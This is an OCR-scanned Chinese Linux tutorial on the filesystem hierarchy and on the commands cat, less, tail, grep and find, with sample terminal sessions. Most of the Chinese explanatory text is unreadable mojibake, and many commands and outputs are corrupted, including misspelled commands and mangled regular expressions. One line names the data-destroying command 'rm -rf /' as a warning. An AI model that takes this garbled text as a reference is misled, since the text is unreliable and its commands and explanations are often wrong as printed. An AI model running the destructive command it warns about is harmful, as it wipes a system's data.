iRRUE] R

Is-I cd pwd mkdir nano rm-fr mvcp-r In-s

/bin /sbin

XHEREH

B8 EATBRIS A E R URPRESRAR.  FrEXHHEE LRIV BRI B RAGEE
aR. EEE R, FEMRISGE LERNoX, 2iE R/ BREm,

~
&%%% %%%%% P P

in boot dev home root sbrn tmp

alice bob eve bin local shin tmp «eoo-t

L[ =B L)

1. /bin #1 /sbin: ERGSERE

1.1 /bin (Zi#HaGR<S)
* {Ef: FHEEBAFRNEASERIIERNEMGS.
o R

o BHRAFIEL (4FiE) TRA#ERA.

o SENEFR=TVEIZOTE,
o B

o /bin/ls : BENMHFIER.

o /bin/cp: EHISI.

o /bin/date : BRZRZATE,
o f:

bash

# TH RS A (Centos 8 ZXiIME timedatectl)
/bin/date

1.2 /sbin (RRAESEHS)

e {EA: FHEEEERRNIRMTHNREAEESS
o e

o EBARPEATSUNIT (55 sudo) .
o WML NRARGECEFUHER,

o Hla<:
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o /sbin/service : BEERARS (WNEN/MELLRS) .
o /sbin/ifconfig: BEHEEMEREO (BFEH ip HSER) .
o /shin/reboot : BEERS,
o I
bash

# Cent0S 8 ffiffl systemctl RIS (HACIHA service i)
/sbin/service network restart # I[HJ7at (A D
systemct] restart NetworkManager # {fE¢7/7

2. /dev: EBNXHEER

o {EM: EEMBEHHLEMEINRE (FIZAIEE) .
o XPIRERM:
o MFERRIRE:
m  /dev/sda: —HR SATA/SCSI FEEE,

»  /dev/sdal : BE—HEENE— DK,
o FEHlRE:

s /dev/null : TRE (EFMBHIN) .
m  /dev/random : FEAEIARRSE,
o PRIZER:

o HUGE (WFER) BERB root 8 disk FIFEBERIENR.

3. /root 1 /home : BRxRER

3.1 /root

o {EM: BHAR (root) MIREFR.
o HFr:

o EMARE root FFHEIAAEL,

o fFFY root WIECEIMH (40 .bashrc) .
o M5l

bash

# U3 root M IFREAMZHZ
sudo su -
1s /root

3.2 /home

e {El: FHEERARHRER.

o R
o BNMRAPXMN—MFBER (1 /home/student) .
o AFWHRERETEEHIN.

o Al
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bash

# BEYHHSFER
echo $HOME
1s /home

4. /tmp 1 /var : SISHIEER

4.1 /tmp

o {EM: FHUIGRINME (HTESRFFoEIE) .
o IR
o 2BHNES (KPRA drwxrwxrwt) ,

o RABEBETEHSENSBEINMRIE.
o SCRRMAR:

bash

# BB SR IR PR
touch /tmp/test.tmp
chmod 777 /tmp/test.tmp # FUFIAEM) LS

4.2 /var

o {EM: FHOSTIIEENE (WEE. ZUEE. fY) .

o ERNFEHR:
o /var/log: ZZFIREHE (W0 syslog. nginx/access.log) ,
o /var/1ib: NFIFEFEUE (40 MySQL EUERE /var/1ib/mysql) .
o /var/spool : PAZUEUE (RNHB4BAGI /var/spool/mail) .
o /var/log/secure : ZLINFHE (W1 SSH ERIER) .
o /var/log/messages : OLEFZHE (BEH syslog

o fl:

bash

tail -f /var/log/messages #LHRGHE (HHEM syslog)

5. 18 FEHBER

5.1 /media
o {EA: ZZEMHERTBHMEHE (WU E. XE) .
o R

o I Linux Z1THR (40 Ubuntu) BaHEEZ /media/fHf 4/ k&% .
o I
bash
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# AN U REEEETA
1s /media/$USER

5.2 /mnt

* {ER: EERFIERIGIILEXITEEFE.

o HFr:
o BEATHR, EFMEEFEIRFHER.

o Rl

bash

# FohHER 1s0 #i%
sudo mount -o loop ubuntu.iso /mnt/iso

6. /etc: RRGIERAFH

* {ER: FHERARHNBEFNEENH.
o KRG
o /etc/passwd: FBFIKFER.
o CentOS HBKR:
" RECE:
bash

/etc/sysconfig/network-scripts/ifcfg-ens192 # [ RILE LI (Fifk
ens192 HERA F4)

® SELinux BcE:
bash

/etc/selinux/config # SELinux f&:{ (enforcing/permissive/disabled)

= YUM/DNF BZE:
bash

/etc/yum.repos.d/Cent0S-Base.repo # HFUALE

o BEER:
o BHEEXHE, BEFTEDRSEM.
bash

# Bl FENL

sudo vim /etc/hostname
# EJHAR

reboot
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7. /proc: EUXHERS

o {ER: hiSRMMAZ. HEMEEIRTS.
o KESUHRBI:
o /proc/cpuinfo: CPUFMHER.
o /proc/meminfo : WNIFERBR.
o /proc/1234: PID /3 1234 HOHFEER.
o SCRRMAR:
bash

# BF CPU O
grep "processor" /proc/cpuinfo | wc -1

8. /usr 1 /usr/local : EREFEBHFR
8.1 /usr

o {EA: GHEFZOER. EM3HE (221 c:\windows ) .
e FHZH:

o /Jusr/bin: FF#< (W gcc. python) .
o Jusr/lib: EEX (W0 .so mh&FE) .
o /Jusr/share : HEEUE (W34S, RXIH) .

8.2 /usr/local

o {EH: FHRAPRFIMmELZFZNRME (8L c:\Program Files) .
o HFr:

o WMBERFEETEE (W apt. yum) LEERYEHIFSE,
o fl:

bash

# PRl /usr/local
./configure --prefix=/usr/Tocal
make && sudo make install

9. /boot : ZRBBNEFR

* {EM: FHEHEISXH.
o R

o vmlinuz-* : Linux R34,
o initrd.img-* : YIIRHNERER.
o /boot/grub : GRUB 3 |Si2FEE.

o BFEE:

o XML BRI AIBESHERFFEE0N!
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10. /1ib #1 /1ib64 : EXIHBEFHF

10.1 /11ib
o {EF: 7H32 (URAMILOESH (10 glibc)
s BEIRA:

o FISHHERE (.so XH) .
o WIZIER /1ib/modules/ .

10.2 /11b64
o {EM: 35164 MNEFANZLESTHE.
o fl:

bash

# &%A glibc A
1dd --version

11. /Tost+found : XHRERIKEER
e {EM: fsck TEEEXHRFIIEERESIBIINIEER.
o KR

o BMHESXEERTEEILER.
o ELERFPLERE, BUEEFIIRE.
o M5l

bash

# A SRS (RS X))
sudo fsck /dev/sdal

=. XHEE

2.1 XHEEWS

linuiEERFRIGHSHER
[root@localhost ~] # 45 (kW] [CAIsExR1 o228 A %21
e W A ER R EA KX

I AN ST T RUEAZE L AUE N

W ARALHIRRIIRE BEBOEN “-7 S5 FHIEBRTRE  CREMELEBA T
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1. touch - g4
o Bi%: CUENUGEEF USRS EEL.

o %!

bash

touch X4

o fl:

bash

touch file.txt # Bz
touch filel.txt file2.txt # JLEGIzE

2. mkdir - glEEH
o Big: SlEFER.

o iB%:

bash
mkdir [ET] H3x4

o HEIEIN:
bash

mkdir dirl # QIERZEHZ
mkdir -p dirl/dir2 # HACEREHZ (HEHMERHEH I

o fl:

bash

[root@localhost boot]# mkdir /tmp/nz2002/test

mkdir: cannot create directory ‘/tmp/nz2002/test’: No such file or directory
[root@localhost boot]# mkdir /tmp/nz2002

[root@localhost boot]# mkdir /tmp/nz2002/test

[root@localhost boot]# mkdir /tmp/nz2002 #IE &5 1R H S ARAE T LAl 2R Al
mkdir: cannot create directory ‘/tmp/nz2002’: File exists

[root@localhost boot]# mkdir /tmp/nz2002/test/test3/test4/test5

mkdir: cannot create directory ‘/tmp/nz2002/test/test3/test4/test5’: No such
file or directory

[root@localhost boot]# mkdir -p /tmp/nz2002/test/test3/test4/test5
[root@localhost boot]# cd /tmp/nz2002/test/test3/test4d/test5

[root@localhost test5]# pwd

/tmp/nz2002/test/test3/test4d/test5

[root@localhost test5]#
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3. rm - BIERSZIHFEXEIR
o Big: MIRXHSER (B! ) .

o iB%:

bash
rm [EDT] SCfFEiH s

o HEIEIN:

bash
rm file.txt # MRS
rm -r dir/ # G AR H o LN 2
rm -f file.txt # SEFEE CRIERED

o EEE: rm -rf / SHRENRSE, 124!

4. cp - SRIXHHER
o B SHHHERIUSEME.

o %!

bash
cp DR WXk BirEa

o FEFIEIN:

bash
cp file.txt backup/ # SR H
cp -r dirl/ dir2/ # S H %
cp -f dirl dir2 o i) 52
cp -i file.txt backup/ # I RIA

5. mv - BEIkERE X
« Big: BAXHHER, SERER.

o 1EX:

bash
mv JESCAE HERE R4 R

o fl:

bash

mv old.txt new.txt # Hfn 4
mv file.txt /backup/ # BRI H %
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MFHSFHER BZUTES
6.man - aF S HENERNF o SFRIER

FRIsZ5 Bl thAOIEIR

[root@locaThost ~]# Ts
anaconda-ks.cfg Documents initial-setup-ks.cfg Pictures Templates

Desktop Downloads Music PubTic videos
[root@locaThost ~]# 1s -a
. .bash_Togout .config Documents initial-setup-ks.cfg
Public
.bash_profile .cshrc DownTloads .Tocal
.tcshrc
anaconda-ks.cfg .bashrc .dbus .esd_auth Music
Templates
.bash_history .cache Desktop .ICEauthority Pictures
Videos

MRAERIA BB REATARI s -a HWIAT CABIREGEOCH: (R TT Sk B SO 9 Base At

man 7 =g 5

q B

/ Ky BE CEEESS S
n SR T Xy

N R bRy
T

LS(1) User Commands LS(1)

NAME Z@SFaFHIE® N oy g
1s - list directory contents B man Is HAZRE

1s [OPTION]... [FILE]...
el X
DESCRIPTION i
List information about the FILEs (the current directory by default). Sort entries
alphabetically if none of -cftuvSUX nor --sort is specified.

Mandatory arguments to long options are mandatory for short options too.

-a, --all sy sy =
do not ignore entries starting with . AL A mantEBER
-A, --almost-all q iBiman#ENRERE

do not list implied . and ..

--author
Manual page ls(1l) line 1 (press h for help or q to quit)

Is WS RAYEEIR

-a R FRERSCr

-1 KigAER

~h AEATE ISR
-R #HERT HE
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B—HMEHBING 5<S/EHE I --help

[root@localhost test5]# mkdir --help
Usage: mkdir [OPTION]... DIRECTORY...
Create the DIRECTORY(ies), if they do not already exist.

Mandatory arguments to long options are mandatory for short options too.

-m, --mode=MODE set file mode (as in chmod), not a=rwx - umask

-p, --parents no error if existing, make parent directories as needed
-v, --verbose print a message for each created directory

-z set SELinux security context of each created directory

to the default type

--context[=CTX] T1ike -z, or if CTX is specified then set the SELinux
or SMACK security context to CTX

--help display this help and exit

--version output version information and exit

GNU coreutils online help: <http://www.gnu.org/software/coreutils/>
For complete documentation, run: info coreutils 'mkdir invocation'

7. B

cat less tail grep find (XM NEHFSERXIHAFTHITEI)

7.1 cat
o FHiE:

AT REEE. GHECIEXXHRNS. E&/\XF, ERBSRTEHRIRIE, TREINE

o iBX:

cat filename # BELIWE
cat filel file2 # IR BRSNS

cat filel file2 > merged_file # &IFft

o HEEIN
o -n: B/ RTE (BFE=E1T)

bash

[root@xnha ~]# cat -n /etc/passwd
1 root:x:0:0:root:/root:/bin/bash

2 bin:x:1:1:bin:/bin:/sbin/nologin

3 daemon:x:2:2:daemon:/sbin:/sbin/nologin

4 adm:x:3:4:adm:/var/adm:/sbin/nologin

5 Tdp:x:4:7:1p:/var/spool/Tpd:/sbin/nologin

6 sync:x:5:0:sync:/sbin:/bin/sync

7 shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

8 halt:x:7:0:halt:/sbin:/sbin/halt

9 mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
10 operator:x:11:0:operator:/root:/sbin/nologin
11 games:x:12:100:games:/usr/games:/sbin/nologin
12 ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
13 nobody:x:65534:65534:Kernel overflow User:/:/sbin/nologin
14 dbus:x:81:81:System message bus:/:/sbin/nologin
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15 systemd-coredump:x:999:997:systemd Core Dumper:/:/sbin/nologin

16 systemd-resolve:x:193:193:systemd Resolver:/:/sbin/nologin

17 tss:x:59:59:Account used by the trousers package to sandbox the
tcsd daemon:/dev/null:/sbin/nologin

18 polkitd:x:998:996:User for polkitd:/:/sbin/nologin

19 geoclue:x:997:995:User for
geoclue:/var/1lib/geoclue:/sbin/nologin

20 rtkit:x:172:172:RealtimeKit:/proc:/sbin/nologin

21 pulse:x:171:171:PulseAudio System
Daemon:/var/run/pulse:/sbin/nologin

22 gemu:x:107:107:gemu user:/:/sbin/nologin

23 usbmuxd:x:113:113:usbmuxd user:/:/sbin/nologin

24  unbound:x:996:991:Unbound DNS
resolver:/etc/unbound:/sbin/nologin

25 rpc:x:32:32:Rpcbind Daemon:/var/1lib/rpcbind:/sbin/nologin

26 gluster:x:995:990:GlusterFS daemons:/run/gluster:/sbin/nologin

27 chrony:x:994:989::/var/1ib/chrony:/sbin/nologin

28 Tibstoragemgmt:x:993:987:daemon account for
Tibstoragemgmt:/var/run/Tsm:/sbin/nologin

29 pipewire:x:992:986:Pipewire System
Daemon:/var/run/pipewire:/sbin/nologin

30 saslauth:x:991:76:Saslauthd user:/run/saslauthd:/sbin/nologin

31 setroubleshoot:x:990:985::/var/1ib/setroubleshoot:/sbin/nologin

32 dnsmasq:x:984:984:Dnsmasq DHCP and DNS
server:/var/1ib/dnsmasq:/sbin/nologin

33 radvd:x:75:75:radvd user:/:/sbin/nologin

34 clevis:x:983:982:Clevis Decryption Framework unprivileged
user:/var/cache/clevis:/sbin/nologin

35 cockpit-ws:x:982:980:User for cockpit-
ws:/nonexisting:/sbin/nologin

36 sssd:x:981:979:User for sssd:/:/sbin/nologin

37 colord:x:980:978:User for colord:/var/1lib/colord:/sbin/nologin

38 gdm:x:42:42::/var/Tib/gdm:/sbin/nologin

39 rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin

40 gnome-initial-setup:x:979:977::/run/gnome-initial-
setup/:/sbin/nologin

41 sshd:x:74:74:Privilege-separated
SSH:/var/empty/sshd:/sbin/nologin

42 pesign:x:978:976:Group for the pesign signing
daemon:/var/run/pesign:/sbin/nologin

43 avahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-
daemon:/sbin/nologin

44  tcpdump:x:72:72::/:/sbin/nologin

45 test:x:1000:1000:test:/home/test:/bin/bash



[root@xnha ~]# cat -n 123.txt

1 ABC
2
3
4 zxy
[root@xnha ~]# cat -b 123.txt
1 ABC
2 zZxy

o -s: EHEEEEITA—IT

o [root@xnha ~]# cat -s -n 123.txt

1 ABC
2
3 zxy

-E: HTEER § 5

[root@xnha ~]# cat -E 123.txt
ABC$

$

$

zxy$

o SHFI5
o BIEEIH:
bash

[root@xnha ~]# cat > 123.txt <<EOF
> ABC

> EOF

[root@xnha ~]# cat 123.txt

ABC

o EINARA:
bash

cat filel >> file2 # ¥ filel WHEMFE file2 KE

7.2 less

o FHiE:
BRERPRRE RIS S
£ less INMET, ALAMFERAMSER Page Up/Page Down SESRIRENNE AL, 3% q EALURH

less
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o B%:

less filename

-N: BORITE

-m: BoNEFEMMIOREE GEE%
-E: fEMFEERG HBNRH

-S: M AT

IS s
o {#H lessipd KEHcat -n ALY (BEEFRSAINA)
FRUAFRAI IRV cat 70 less B4Fm SN SESERE BT a5
Tess BEXMENKEERE qRHEEE LEE:LTLURITIRS)

[root@1oca1host test5]# cat -n /etc/passwd | Tless
EEGFSIER: fi—&a2miE 1ERNE—FaLEmA

o BENE
7E less o, FILAER / SRIHISRESSREORIERNS, NE A » SRERERAE
JETNE. B, BAEHRER “example’, TN /example FHEEIZESR,

less /etc/passwd

e:/sbin/nologin

var/run/pulse: /sbin/nologin

o BEEZINM
less JLARIBSFIHZ M. REEEaSITHFIHEXXAZRA

less filel file2 file3

£ less i, BJLAGERD n apSBEERI TN —ME, R p apSBkEER E— 3.



7.3 tail

° H
RTEEXRRNE, BWARTRE10/T. BRTIMEEEHEN,
o IEE:
tail filename # SRR 1047

tail -n 20 filename  # G/RiE)5201T

o HRIAIM

-n . EEETAYTE

[root@xnha ~]# tail -5 /etc/passwd

sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
pesign:x:978:976:Group for the pesign signing
aemon:/var/run/pesign:/sbin/nologin

avahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-aemon:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
test:x:1000:1000:test:/home/test:/bin/bash

[root@localhost test5]# cat -n /etc/passwd | tail -5

39 sshd:x:74:74:Privilege-separated
SSH:/var/empty/sshd:/sbin/nologin

40 avahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-
daemon:/sbin/nologin

41 postfix:x:89:89::/var/spool/postfix:/sbin/nologin

42  tcpdump:x:72:72::/:/sbin/nologin

43 allen:x:1000:1000:allen:/home/allen:/bin/bash

o -f ILAMBERNHEMN (FRETREAS

tail -f /var/log/messages

ctrl+c BHIERE:

JE AT H AT IR

° BHIRIS

&5 grep LiEAE:

bash

tail -f app.log | grep "ERROR"

STRMNENTERIRE:
bash

tail -n +100 filename # ME1001THF4G R REIRE
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7.4 grep

FRi&
grep (Global Regular Expression Print) =2 Linux 58
I, ATEXEEmAN R EE R AT S 5~ HR01T.
ZIOTNEE: RIBEIR. EARE.

o HEMAR: AESH. BEENMHER. ABHES
EA

o

grep [EET] "#REMBA" X4

o EFRNX: TLUREBFAHRHENREAI.
o ZIFBNM: FIRNERZS I XHHER.
w AR

—. grep SZUEIRS
1. Biligik
bash

grep [EET] "#MRBA" CHEHEZR

o EHRRI:
o AR

BEFATEREIENZRIAT.
B, X, BREBIREER.

2. EHIER

1EIR L

i RHERNG

v [RRPCES (HEBRIETC)

n ERIEATITS

-C 2 U5
r/-R BFERER

W AEHAICEC R

-0 (VEtHICEC NS (FFE1T)
AN ERERITRZE N 1T
B N ERICEATRZAI N 17
-C N ERCEATRAIES N 17

3. IEMRiE

(1) EREENRER

KN AERTE, FIENFRE

i
grep -i "error" file
grep -v "debug" file
grep -n "warning" file
grep -c "404" file
grep -r "config" /etc/
grep -w "java" file
grep -o "user_[0-9]*" file
grep -A 3 "Exception" file
grep -B 2 "segfault" file

grep -C 2 "timeout" file
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Gas) 1588
R R NFR
A U =)
$ LA/ TR
[abc] AR S RERFHF
[Aabc] PCECAEE S RRIFHF

RI—PFRFES 0 REHZR

(2) I BIEMREX (-E K egrep)

G 5408
. EATRES RS
®
. B ANTRES 0K
| ®
oy AAFREEEnEm
] ; K
Biaay

—. ZIEINRES
1. SRR STH
BUUTAHBRERN practice. txt :

plaintext

# practice.txt

Al
grep "a.c" file — [TEZ "abc" "axc”
grep "Astart" file
grep "end$" file
grep "[aeiou]" file
grep "[A0-9]" file

grep "go*d" file — PTEE "gd", "good"

]

grep -E "no+" file — UTEZ "no", "nooo"

grep -E "colou?r" file — [PTERZ "color",

"colour™"

grep -E "[0-91{3}" file — UUELD 3 {\E=F

grep -E "error|warning" file

2023-10-01 08:05:23 [INFO] User 'admin' logged in from 192.168.1.100

2023-10-01 08:06:45

[ERROR] Database connection failed (error code:

500)

2023-10-01 08:07:11 [WARNING] Disk usage at 85% on /dev/sdal
2023-10-01 08:08:00 [DEBUG] Request ID: 7X2G9P received from 10.0.0.55
2023-10-01 08:09:34 [INFO] Payment processed: $150.00 via PayPal

(user_john@example.com)

2023-10-01 08:10:55 [ERROR] API timeout after 30s (endpoint: /api/vl/data)
2023-10-01 08:11:23 [INFO] Backup completed: size=2.5GB,

path=/backup/20231001

2023-10-01 08:12:17 [WARNING] Memory usage at 90% (process: java)
2023-10-01 08:13:45 [ERROR] Invalid input from 192.168.1.200: "GET /invalid?

Al

query="*

2023-10-01 08:14:00 [INFO] User 'guest' Tlogged out
2023-10-01 08:14:00 [INFO] user_john@example.com

=. EER5%3



1. B8R 5%
*g.l. 1 1 ﬁﬁiﬂ'nﬁu
bash

grep "ERROR" practice.txt
# WA ES "ERROR" KT

bc@xnha ~]§ gre ROR" practice. txt

23-10-01 08 4 ] Databa connection failed (error c 500)
23-10-01 08:10:5° ! imeout after 30s ( point: [fap
5a
#* 1

] ru.—.

3 10-01 08:13:4¢ Invalid input from 192.168.1.200: “GEf ;1nva1id?quer

a
20
20
J
a

p— b

be@xnha ~]§

5058 1.2: ZEEAINSITE
bash

grep -i "warning" practice.txt
# UL "WARNING" (ARXH5HK/NE)

yc@xnha ~]§ grep -i "warning" practice.txt
202: 10-01 08:07:11 [ ] Disk usage at on /dev/sdal
2023-10-01 08:12:17 | ] Memory usage at 90% (process: java)
[abc@xnha ~]$

I8 1.3: REHBXARNEE
bash

grep -v "WARNING" practice.txt
# HERBREA "WARNING" FI47T

[abcexnha ~]§ grep -v "WARNING" practice.txt

2023-10-01 08:05:23 [INFO] User 'admin' >d in from 192.168.1.100

2023-10-01 08:06:45 [ERROR] Database connection failed (error code: 500)
2023-10-01 08:08:00 [DEBUG] Request ID: TX2GY9P received from 10.0.0.55
2023-10-01 08:09:34 [INFO] Payment processed: $150.00 wia PayPal (user_john@exam
ple.com)

2023-10-01 08:10:55 [ERROR] API timeout aft i (endpoint:

2023-10-01 08:11:23 [INFO] Backup completed: s .5GB,

2023-10-01 08:13:45 [ERROR] Invalid input from 192.168.1.200:

—_ 1
\
¥

2023-10-01 08:14: [TNFO] User 'guest' logged out
[abc@xnha ~]5

2. (7854t
38 2.1: BRETS
bash

grep -n "INFO" practice.txt
# §HATS, W 3:[INFO]...~



[abc@xnh 5 gr -n
2023-10-01 08 DS 23
2023-10-01 08:09:34

ample. com)

2023-10-01 08:11: Backup completed: size=2.5GB, path=/backup/20231001
2023-10-01 08:14: DD [ | User 'guest' log
[abe@xnha ~]§

SCI8 2.2 FitERiIRIRE
bash

"INFD" practice.txt
User 'admin' >d in from 192.168.1.100
Payment processed: $150.00 via PayPal (user_john@ex

LT
[

grep -c "ERROR" practice.txt
# fHEIRITE ORBIZGE: 3D

¥

[abcexnha ~]$ grep -c "ERROR" practice.txt
3

[abc@xnha ~]$

3. ETF3EH
5038 3.1: BEERETX
bash

grep -Cl1 "ERROR" practice.txt
# WoRBA "ERROR" AT RHRFIE® 1 17

[abc@gxnha ~]§ grep -C1 "ERROR" pldcthE tx

2023-10-01 08 23 [INFO] User 'admin' d i -om 192.168.1.100
2023-10-01 08:06: [ | Databa 0 i ' or code: 500)
2023-10-01 08: :ll [WARNING] Disk jde

2023-10-01 08:09:34 [INFO] Payment

ple.com)

2023-10-01 08:10:55 [ ] API timeout after : (endpoint: /api/vl/data)
2023-10-01 08:11:23 [INFO] Backup comple - .5GB, path=/backup/20231001
2023-10-01 08:12:17 [WARNING] Memory usage at 90% (pro : java)

2023-10-01 08:13:45 | ] Invalid 1nput frum 192.168.1.200: "GET [/invalid?quer
2023-10-01 08:14:00 [INFO] User 'guest' logged out

4. IEMFRETNERR

5008 4.1: TECRIESEE

bash

grep "A2023-10-01 08:1" practice.txt
# LA 08:10 #| 08:14 M7

[abc@xnha ~]$% grep "A2023-10-01 08:1" practice.txt
:55 [ERROR] API timeout after 3
[INFO] Backup comple © 5
7 [WARNING] Memory usage at 90% (pr java)

3:45 [ERROR] Invalid input from 192.168.1.200: “"GET /invalid?quer

— &
y=

4:00 [INFO] User 'guest' logged out
[abcgxnha ~]5 ]

5058 4.2 $2HY 1P dthkik
bash




grep -P "([0-9]1{1,3}\.){3}[0-9]{1,3}" practice.txt
grep -Eo "([0-9]1{1,3}\.){3}[0-9]1{1,3}" practice.txt
# WA IP #hhk, 4 192.168.1.100

[abc@xnha ~]$ grep -Eo "([0-9]1{1,3}\.){3}[0-9]{1,3}" practice.txt

58 4.3: FEiRCEES
bash

grep -w "java" practice.txt
# UGEZ "java" HiE (ERILER "javascript™

abc@xnha ~]% grep -w "java" practice.txt
15 greg ] P

r X
2023-10-01 08:12:17 [WARNING] Memory usage at 90% (process:
abc@gxnha ~]$

5. mBiEH S EE
5036 5.1: $RHVABFSthit
bash

grep -Eio "\b[A-za-z0-9._%+-]1+@[A-za-z0-9.-]+\.[A-z]{2,}\b" practice.txt
# %t user_john@example.com

[abc@xnha ~]5 grep -Eio "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]1+\.[A-2Z]{2,}\b" practi

xt

[abcexnha ~]§ |

5008 5.2: BEREHICRE
bash

grep '\$' practice.txt
# ILEAES "$" 14T (RSO

[abc@xnha ~]% grep '"\$' practice.txt
-01 08:09:34 [INFO] Payment processed: 5150.00 via PayPal (user_john@exam
m)

[abcgxnha ~]5 ]

6. I B%3 (B5&A)
bash



# Q% H g

mkdir -p /tmp/practice/logs/

Ccp practice.txt /tmp/practice/logs/

echo "ERROR: File not found" > /tmp/practice/error.log

# A EPTE "ERROR"
grep -r "ERROR" /tmp/practice/

# 6% .log Xt
grep -r --exclude="*.log" "INFO" /tmp/practice/

[abcexnha ~]5 mkdir -p /tmp/practice/
cp practice.txt /tmp/
echo "ERROR: File not found" /practice/error. log
[abcegxnha ~]5 grep -r "ERROR" /tmp/practic
2023-10-01 08:06:45 [ ] Database connection
failed (error code: 500)
2023-10-01 08:10:55 [ ] API timeout after 30
s (endpoint: /api/vl/data)
2023-10-01 08:13:45 [ ] Invalid input from 1
92.168.1.200: "GET /invalid?query=*"
File not found

[abc@xnha ~]$ grep -r --exclude="*.log" “INFQ" tmp '‘practice/
2023-10-01 08: DS )3 ] User 'admin' log

n from 192.168.1.100
2023-10-01 08:09:34 ] Payment processed: §1
50.00 via PayPal (user_john@example.com)
2023-10-01 08:11:2: ] Backup completed: siz
path=/backup/20231001
08:14: ] User 'guest' logged o

08:14: ] user_john@example. com

M. 2E58EE

1. BBIEREE
s o]
HUREREIR grep -n "ERROR" file
gt BEREEEER grep -c "pattern" file
IRENGENI L EER grep -Eo "IENFEIAR" file
HE LT o grep -C3 "Exception" file
2. ¥E5EIR
o BEMIFHFME: W s, * FH \ BX.
o
o &H find MSLNEEFER:
bash

find /var/log -name "*.log" -exec grep "error" {} \;

o TERIAR{ER grep BY, B & ? 10EEAILACHKII:



bash

grep -q "success" result.txt &% echo "Found" || echo "Not found"

* G

1.7E /etc/passwd FEKFIBEES /bin/bash BT, HERMTS.
2. %3t /var/log/secure 7 Failed password HILHIREL,
3.#£ /var/log BRTNEIFHEZREE error 5 warning BY .log X4, BEEA/NE.

[root@localhost tmp]# grep "root" /etc/passwd BT
root:x:0:0: root:/root:/bin/bash
operator:x:11:0:operator:/root:/shin/nologin

[root@localhost tmpl# grep -n "root" /etc/passwd
l:root:x:0:0:root:/root:/bin/bash -n B RMAETRITS
10:operator:x:11:0:operator:/root:/shin/nologin

[root@localhost tmpl]# grep -n "“root" /etc/passwd
l:root:x:0:0:root:/root:/bin/bash

[root@localhost tmpl]# cat /tmp/nz2002.txt XEFHES " FRUMA
wenxin Fk

czq

minmin

dandan

[root@localhost tmpl# echo "Z" >> nz2002.txt

[root@localhost tmpl# cat nz2002.txt

wenxin

czq

minmin

dandan

z

[root@localhost tmpl# grep "z" nz2002.txt

€zq . e
[root@localhost tmp]# grep -i "z" nz2002.txt | GEEXEFRIE
czq
Y4

7.5 find
—, find GSZOHIRS
1. Biigik

bash
find [#ZRE] [VLECEMA] [HATShE]
o JEFIRE: BIANERIER (.) | TiEEEIEIENEE.

o PEEBSRM: IRBAR. XKBL K\ BEFIEH.
o PATENE: IPCECSCHHVTIRME (AMIRR. MR .

2. FHCERSM
(1) B FRESFICEC


af://n732

= 588 il

-name BXHBRE (RoANS) find . -name "*.txt"
-iname TR LE (AXSKNE) find . -iname "README"
-path RRIZ AL find /var -path "*/log/*"
(2) ¥4 S BEITER
¥ oLz |
-type f X LB EE S find . -type f
-type d NILEE B R find /etc -type d
-type 1 {NICECRT S 5% find . -type 1
(3) ¥ K )VITER
=it oLz ]
-size +10M XF 10MB 893244 find . -size +10M
-size -1G /T 1GB B934 find /var -size -1G
-size 0 =X find . -size 0
(4) $=zRFEIEEPTED
=i oLz ]
-mtime -7 7 RIESGIRISG find . -mtime -7
-atime +30 30 KETHEIEAIS A find /home -atime +30

-newer file

(5) =N PRITED

EG
-perm 644

-perm /u=x

3. iIZAEIRIERT

FeiERE S AR

1588
T PRASHE 644 HISI14
BREHRITRERAI 4

find . -newer reference.txt

=l
find . -perm 644

find /bin -perm /u=x



BRERT 588

a (f2&) BiES (ZMFERIHE)

-0 ZiEay
! jrai=cl
4. VTEE
aE 15488

-print R (BRASHE)

-delete TIPSR PCECAYS A4
-exec MTEEN DS
-ok REXITHS (FHIA)

—. TEKIRES
1. QIBRGIBREN
bash

mkdir -p ~/find-practice/{logs,data,backup}

il

find . -name "*.log" -size +1M
find . -name "*.jpg" -o -name "*.png"
find . ! -name "*.tmp"
o]

find . -name "*.txt" -print

find . -name "*.bak" -delete

find . -name "*.log" -exec rm {} \;

find . -name "*.tmp" -ok rm {} \;

touch ~/find-practice/logs/{app.log,error.log}
touch ~/find-practice/data/{filel.txt,file2.csv,image.jpg}

mkdir ~/find-practice/backup/old

touch ~/find-practice/backup/old/archive.tar.gz

=. BEER5%3

1. Bitig=x
SC38 1.1 IRBIREEY
bash

find ~/find-practice -name "*.log'
# WA .log SUIFRIERAE



[abc@s
[abc@xnha

— ]!3 mkdir
~1% 1s

-p ~/find-prac

[abcexnha ~]$§ cd find-practice/
[abc@xnha find-practice]$ 1s

touch ~
touch

a find-practice]$
a find-practice]$
a find-practice]$ mkdir
a find-practice]

a find-practi
/find-practi
/find-practi
find-practice]$

SC88 1.2: EEBERAF

abcm»nhd

bash

find ~/find-practice -type d
# HIHITA T EZE

5008 1.3: S
bash

FH (BWEKD)

find ~/find-practice -name
# BT 10KkB B .jpg XfF

[abc@xnha find-practice]$ find
/ abc/find- practlcﬁ
abc/find-practi
abc/find-practice
abc/find-practi
[fabc/find-practice;

backup
/home backup
2. HESHRZiE

5£86 2.1: ERRIEIERIT

bash

find ~/find-practice -mtime -1
# HIH 1 RAESadir ot

[abc@xnha find-practice]$ fin

f abc/find-practice
abc/find-practice/
abc/find-practic
abc/find-practic
abc/find-practic
abc/find-practic

td
ta/

abc/find-practic
abc/find-practic
abc/find-practice
abc/find-practice
abc/find-practice;
[abcmxnha find-practice]$

j

/find-practice/logs/{
~/find-practice/d

~ffind-practice/backup/ol

*.jpg"

'filel.
ata/filel.
ata/image. jpg

yackup

yackup/old
backup/old/archive. tar.

tice/{logs,data, backup}

practice. txt

app.log,error. log}
ata/{filel.txt,file2.csv, image.
d
d/archive. tar.qgz

/ -name “*.log"

-size +10k

~[/find-practice -type d

Jold

d

~/find-practice -mtime -1

txt
Csv




5058 2.2 HEBRSEBBRN Y
bash

find ~/find-practice ! -perm 644
# EIRBRAZ 644 HICfF

@xnha find-practice]$ find ~/find-practice ! -perm 644
abc/find-practice
abc/find-practice/log
abc/find-practice/logs/app. log
abc/find-practic ogs/error. Log
abc/find-practice

